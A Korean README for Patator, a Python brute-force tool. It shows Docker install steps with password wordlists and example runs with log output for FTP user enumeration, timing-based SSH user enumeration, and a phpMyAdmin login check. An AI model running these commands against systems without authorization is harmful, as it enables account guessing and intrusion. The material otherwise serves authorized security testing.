
Patator는 모듈식 설계와 유연한 사용법을 갖춘 다목적 무차별 대입(brute-force) 도구입니다.
Patator는 Hydra, Medusa, Ncrack, Metasploit 모듈 및 Nmap NSE 스크립트를 암호 추측 공격에 사용하면서 느낀 불편함에서 작성되었습니다. 또 다른 무차별 대입 도구를 만들지 않고 동일한 단점을 반복하지 않기 위해 다른 접근 방식을 선택했습니다. Patator는 Python으로 작성된 멀티스레드 도구로, 이전 도구들보다 더 신뢰할 수 있고 유연하게 설계되었습니다.
현재 다음 모듈을 지원합니다:```
"Patator"라는 이름은 [이 링크](https://www.youtube.com/watch?v=9sF9fTALhVA)에서 비롯되었습니다.
Patator는 스크립트 키디 친화적이지 않습니다. 보고하기 전에 아래 내용, [DeepWiki](https://deepwiki.com/lanjelot/patator)와 [위키](https://github.com/lanjelot/patator/wiki)를 읽어주십시오.
이 프로젝트가 마음에 드신다면 기부해주세요! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
감사합니다! [@lanjelot](https://twitter.com/lanjelot)
## Install```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
vsftpd/userlist에서 로그인이 거부된 사용자 열거```
$ ftp_login host=10.0.0.1 user=FILE0 0=logins.txt password=asdf -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
19:36:06 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 19:36 AEDT
19:36:06 patator INFO -
19:36:06 patator INFO - code size time | candidate | num | mesg
19:36:06 patator INFO - -----------------------------------------------------------------------------
19:36:07 patator INFO - 230 17 0.002 | anonymous | 7 | Login successful.
19:36:07 patator INFO - 230 17 0.001 | ftp | 10 | Login successful.
19:36:08 patator INFO - 530 18 1.000 | root | 1 | Permission denied.
19:36:17 patator INFO - 530 18 1.000 | michael | 50 | Permission denied.
19:36:36 patator INFO - 530 18 1.000 | robert | 93 | Permission denied.
...`vsftpd-3.0.2-9`를 대상으로 `CentOS 7.0-1406`에서 테스트됨.
* SSH : 시간 기반 사용자 열거```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
openssh-server 1:6.0p1-4+deb7u2에서 Debian 7.8에서 테스트됨.
Payload #72는 예상치 못한 오류 메시지로 인한 오탐이었습니다:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
phpMyAdmin 4.2.7.1에 대해 테스트됨.